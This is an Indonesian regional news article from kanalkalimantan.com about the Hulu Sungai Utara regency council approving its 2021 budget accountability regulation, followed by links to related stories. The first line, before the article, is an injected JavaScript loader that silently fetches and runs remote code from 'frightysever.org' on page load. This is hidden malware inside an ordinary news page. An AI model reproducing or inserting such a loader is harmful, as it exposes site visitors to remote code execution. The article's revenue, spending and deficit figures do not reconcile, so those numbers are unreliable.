(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – DPRD Kabupaten Hulu Sungai Utara (HSU) menyetujui dan mengesahkan Rancangan Peraturan Daerah (Raperda) tentang Pertanggungjawaban Pelaksanaan Anggaran Pendapatan dan Belanja Daerah (APBD) 2021
Persetujuan ini ditandatangani saat digelarnya rapat paripurna yang dihadiri pimpinan dan anggota DPRD, Plt Bupati HSU, Forkopimda, SKPD, serta undangan lain di ruang rapat DPRD HSU, Rabu (29/6/2022).
DPRD HSU melalui juru bicara Norani mengatakan, Raperda tentang Pertanggungjawaban Pelaksanaan APBD HSU 2021 telah dilaksanakan sesuai ketentuan perundangan.
Ia menjelaskan, beberapa pelaksanaan kegiatan tersebut dapat diketahui melalui ringkasan laporan realisasi anggaran pada tahun 2021, meliputi Pendapatan Daerah sebesar Rp1,96 triliun lebih dan belanja daerah sebesar Rp1,215 triliun lebih. Sehingga ada devisit sebesar Rp118,9 miliar lebih.
Baca juga: Banjarmasin Jadi yang Pertama Uji Coba MyPertamina, Begini Cara Daftarnya
Sedangkan untuk pembiayaan daerah, penerimaan sebesar Rp208,25 miliar lebih dan pengeluaran sebesar Rp 0. Sehingga sisa lebih pembiayaan tahun 2021 sebesar Rp89,334 miliar.
“Jadi realisasi Pendapatan Daerah sekitar 91,61persen dari estimasi target yang ditetapkan,sedangkan untuk belanja daerah terealisasi sekitar 76,49 persen dari total anggaran.” Jelasnya
Lebih lanjut, dikatakannya, melihat hasil realisasi pendapatan dan belanja pada APBD tahun anggaran 2021 tersebut, sebagai mana disampaikan oleh fraksi-fraksi DPRD HSU pada rapat paripurna sebelumnya.
“Maka DPRD Kabupaten HSU mendukung upaya pemerintah yang telah membentuk Tim Intensifikasi dan Ekstensifikasi pajak daerah dan retribusi daerah guna mengintensifkan penerimaan pajak dan retribusi daerah, serta berupaya menggali potensi baru yang bersumber dari pajak dan retribusi daerah,” terangnya.
Sementara, Plt.Bupati HSU Husairi Abdi, menyebut sesuai konteks hukum administrasi negara, mekanisme pertanggungjawaban pelaksanaan APBD sebagai bentuk pengawasan, demi terwujudnya pemerintahan yang baik sesuai dengan asas-asas umum pemerintahan yang baik.
Dikatakannya, mekanisme pertanggungjawaban pelaksanaan APBD juga merupakan kegiatan terstuktural dan terjadwal untuk melaporkan seluruh penggunaan APBD dalam pelaksanaan kegiatan oleh SKPD dilingkungan Pemerintah Daerah.
Selain itu, mekanisme pertanggungjawaban dilaksanakan juga secara vertikal dari kepala, SKPP, PPKD, Kepala Daerah,dan BPK-RI selaku lembaga negara yang menjalankan fungsi pengawasan dibidang keuangan negara.
“Rapeda tentang pertanggungjawaban pelaksanaan APBD tahun anggaran 2021 yang kita sepakati pada hari ini merupakan hasil dari audit BPK-RI, yang disampaikan beberapa waktu lalu dan Alhamdulillah untuk hasil pemeriksaan BPK-RI kita kembali dapat mempertahankan predikat Wajar Tanpa Pengecualian,” tutupnya. (kanalkalimantan.com/dew)
Reporter: dew
Editor: cell
KANALKALIMANTAN.COM, MARTAPURA - Dua hari jelang Haul 20 KH Muhammad Zaini bin Abdul Ghani (Guru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kesukarelawanan masyarakat menyambut kegiatan rutin Malam Senin 5 Rajab di Mushola Ar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Seluruh Satuan Kerja Perangkat Daerah (SKPD) di lingkungan Pemerintah Kota Banjarbaru dikerahkan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Armada angkutan umum milik Pemerintah Kota (Pemko) Banjarbaru siap melayani jemaah kegiatan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kegiatan rutin Malam Senin 5 Rajab di Mushola Ar Raudhah Sekumpul, Martapura,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak arus balik pada momen libur Tahun Baru 2025 mulai terasa di… Read More
This website uses cookies.